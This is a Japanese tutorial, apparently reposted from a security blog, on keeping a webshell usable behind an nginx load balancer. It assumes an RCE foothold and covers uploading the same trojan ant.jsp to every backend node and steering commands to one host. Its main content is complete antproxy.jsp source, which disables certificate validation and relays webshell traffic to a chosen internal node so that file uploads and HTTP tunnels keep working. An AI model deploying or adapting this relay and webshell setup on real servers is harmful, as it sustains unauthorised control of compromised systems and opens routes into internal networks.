ホームページ >運用・保守 >Nginx >nginx 負荷分散下で Webshel​​l アップロードを実装する方法

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

WBOY
WBOY転載
2023-05-16 08:16:131575ブラウズ

シナリオの説明

実際の運用環境には、WebShell のインストールを取得できる RCE 脆弱性があると仮定します。

最初に、 GetHub に脆弱性を掲載 イメージをインストールする前に、事前に centos に nginx と tomcat をインストールし、nginx と tomcat の関連設定ファイルを設定し、docker を使用してイメージをプルダウンして脆弱性を再現する必要があります。

##1. 最初に Docker 環境をセットアップします

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

#2. Tomcat がアクセスできるかどうかをテストします

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

上の図からわかるように、バックエンド Tomcat にアクセスできます

3. docker で nginx リバース プロキシの負荷分散を確認します

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

4. docker の lbsnode1 にある ant.jsp ファイルを確認します。

このファイルは 1 文のトロイの木馬として理解でき、同じファイルが lbsnode2

lbsnode1:

# にも存在します。

nginx 負荷分散下で Webshel​​l アップロードを実装する方法## lbsnode2:

nginx 負荷分散下で Webshel​​l アップロードを実装する方法5. Chinese Ant Sword を介して ant.jsp ファイルを接続します

nginx 負荷分散下で Webshel​​l アップロードを実装する方法 両方のノードの同じ場所に ant.jsp があるため、接続時に例外はありません

#再現プロセス

#既存の問題

# #質問 1 : nginx で使用されるリバース プロキシはポーリング方式であるため、アップロードされたファイルは 2 つのバックエンド サーバー上の同じ場所にアップロードされる必要があります

リバース プロキシであるため、負荷分散とはファイルをアップロードすることを意味します一方のバックエンド サーバーにはアップロードしたファイルがありますが、もう一方のサーバーにはアップロードしたファイルがありません。その結果、一方のサーバーにファイルがなくなると、リクエストの番になります。サーバーに 404 エラーが報告され、使用に影響を与えるため、しばらくの間は正常に表示され、しばらくの間エラーが表示されます。

解決策:

nginx 負荷分散下で Webshel​​l アップロードを実装する方法どのノードがポーリングされても、同じ内容の WebShell を各ノードの同じ場所にアップロードする必要があります。バックエンドサーバーにはどのサーバーからでもアクセスできます。すべてのバックエンド サーバーにファイルをアップロードするには、狂ったようにファイルをアップロードする必要があります。

質問 2: コマンドを実行するとき、次のリクエストがどのマシンに渡されて実行されるのかを知る方法はありません。

ホスト名 - を実行しています。 i 現在の実行マシンを表示します。 IP アドレスが変動していることがわかります。

質問 3: いくつかの大きなツールをアップロードする必要がある場合、ツールが使用できなくなる状況 nginx 負荷分散下で Webshel​​l アップロードを実装する方法

大きなファイルをアップロードする場合、AntSword はファイルのアップロード時に断片化されたアップロード メソッドを使用し、ファイルを複数の HTTP リクエストに分割してターゲットに送信するため、ファイルがコンテンツの一部はサーバー A にあり、他のファイルはサーバー B にあるため、大きなツールやファイルを開いたり使用したりできなくなります

質問 4: ターゲット ホストがサーバー A に存在しないため、インターネットの外に移動します。さらに先に進みたい場合は、reGeorg/HTTPAbs などの HTTP トンネルのみを使用できますが、このシナリオでは、これらのトンネル スクリプトはすべて失敗します。

解決策

オプション 1: バックエンド サーバーの 1 つをシャットダウンします

バックエンド サーバーの 1 つを実際に閉じます。上記4つの問題は解決できますが、この解決策はまさに「長寿の星を吊るす――生き飽きる」ようなもので、ビジネスに影響を与え、災害を引き起こすことになります。 :本当に環境です、次は絶対にやめてください! ! !

オプション 2: プログラムを実行する前にプログラムを実行するかどうかを決定する

次回どのマシンがプログラムを実行するかを予測することは不可能なので、シェルペイロードを実行する前に、実行するかどうかを判断するだけです。

初めてスクリプトデモ.sh を作成します。このスクリプトは、バックエンド サーバーの 1 つのアドレスを取得します。プログラムは、このサーバーのアドレスが一致した場合にのみ実行されます。アドレスと一致した場合は、他のサーバの場合はプログラムが実行されますが、プログラムは実行されません。

demo.sh スクリプト ファイルを China Ant Sword 経由で 2 つのバックエンド サーバーにアップロードします。ロード バランシングのため、狂ったようにクリックしてアップロードする必要があります

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

このようにして、実行されたコマンドが目的のマシン上にあることを確かに確認できますが、実行には美しさはありません。また、大きなファイルのアップロードやHTTPトンネルなどの問題も解決されていません。

総合評価: このソリューションはほとんど使用できず、コマンドの実行時にのみ使用するのに適しており、十分にエレガントではありません。

オプション 3: Web レイヤーで HTTP トラフィックを転送する (重要なポイント)

はい、AntSword (172.23.23.2) を使用して LBSNode1 イントラネット IP に直接アクセスすることはできません。 nginx に加えて、LBSNode2 マシンも Node1 マシンの 8080 ポートにアクセスできます。

「PHP バイパス無効化機能」プラグインをまだ覚えていますか? このプラグインにロードした後、httpserver をローカルで起動し、HTTP レベルのトラフィック転送スクリプト「##」を使用しました。 #antproxy.php "、このシナリオで見てみましょう:

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

この図をステップごとに見てみましょう。私たちの目標は:

すべてのデータパケットはマシン「LBSNode 1」に送信できます。

最初のステップはステップ 1 です。/antproxy.jsp をリクエストします。このリクエストは、nginx が受信した後、nginx

に送信されます。

まず黒い線を見てみましょう。ステップ 2 では、リクエストがターゲット マシンに渡され、Node1 マシン上の /antproxy.jsp がリクエストされます。ステップ 3、/antproxy.jsp がリクエストを送信する 再編成後、リクエストは Node1 マシン上の /ant.jsp に渡され、正常に実行されます。

赤い線をもう一度見てください。ステップ 2 で、リクエストは Node2 マシンに渡されます。次に、ステップ 3 で、Node2 マシン上の /antproxy.jsp がリクエストを再編成し、/ant.jsp に渡します。 Node1の.正常に実行されました。

1. antproxy.jsp スクリプトを作成します

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2. 転送アドレスを変更し、次のイントラネット IP のターゲット スクリプト アクセス アドレスにリダイレクトします。ターゲットノード。

注: WebShell だけでなく、reGeorg やその他のスクリプトのアクセス アドレスも変更できます。

LBSNode1 の ant.jsp を対象とします

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

注:

a)

アップロード関数は使用しないでください。アップロード関数は分割してアップロードします。 、その結果、異なるノードで断片化が発生します。

b) 各ノードに antproxy.jsp へのパスが同じであることを確認するため、各ノードがスクリプトをアップロードするように何度も保存しました。

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

3. シェル構成を変更し、URL 部分に antproxy.jsp のアドレスを入力し、他の構成は変更しないでください

nginx 負荷分散下で Webshel​​l アップロードを実装する方法

4. 実行コマンドをテストし、IP を確認します。

## IP が固定されました は、リクエストがマシン LBSNode1 に固定されたことを意味します。現時点では、マルチパート アップロードと HTTP プロキシの使用は、スタンドアロンの状況と何ら変わりません。nginx 負荷分散下で Webshel​​l アップロードを実装する方法

このソリューションの利点:

1. これは次のように完了します。権限が低くても、権限が高ければポート レベルで直接転送することもできますが、これはプラン A

2 のオフサイト サービスと変わりません。トラフィックに関しては、リクエストにのみ影響します。 WebShell へのアクセス、その他の通常のビジネス リクエストには影響しません。

3. より多くのツールを適応させる

欠点:

このソリューションでは、「ターゲット ノード」と「他のノード」 (存在する場合) の間のイントラネット通信が必要です。相互運用性はありませんが、クールになります。

以上がnginx 負荷分散下で Webshel​​l アップロードを実装する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。